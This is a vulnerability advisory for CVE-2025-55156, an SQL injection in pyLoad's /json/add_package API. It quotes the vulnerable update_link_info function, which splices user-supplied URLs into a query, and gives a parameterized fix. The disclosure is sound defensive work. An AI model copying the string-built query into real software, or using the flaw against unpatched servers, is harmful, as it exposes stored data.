CVE-2025-55156

Summary

The parameter add_links in the API /json/add_package is vulnerable to SQL Injection. SQL injection vulnerabilities can lead to sensitive data leakage.

Details

• Affected file：https://github.com/pyload/pyload/blob/develop/src/pyload/core/database/file_database.py#L271
• Affected code:

@style.queue
    def update_link_info(self, data):
        """
        data is list of tuples (name, size, status, url)
        """
        self.c.executemany(
            "UPDATE links SET name=?, size=?, status=? WHERE url=? AND status IN (1,2,3,14)",
            data,
        )
        ids = []
        statuses = "','".join(x[3] for x in data)
        self.c.execute(f"SELECT id FROM links WHERE url IN ('{statuses}')")
        for r in self.c:
            ids.append(int(r[0]))
        return ids

statuses is constructed from data, and data is the value of the add_links parameter entered by the user through /json/add_packge. Because {statuses} is directly spliced into the SQL statement, it leads to the SQL injection vulnerability.

Remediation

def update_link_info(self, data):
   """
data is list of tuples (name, size, status, url)
"""
   self.c.executemany(
       "UPDATE links SET name=?, size=?, status=? WHERE url=? AND status IN (1,2,3,14)",
       data,
   )
   
   # 提取所有url
   urls = [x[3] for x in data]
   
   # 构建参数化查询，避免SQL注入
   placeholders = ','.join(['?'] * len(urls))
   query = f"SELECT id FROM links WHERE url IN ({placeholders}) AND status IN (1,2,3,14)"
   self.c.execute(query, urls)
   
   ids = [int(row[0]) for row in self.c.fetchall()]
   return ids
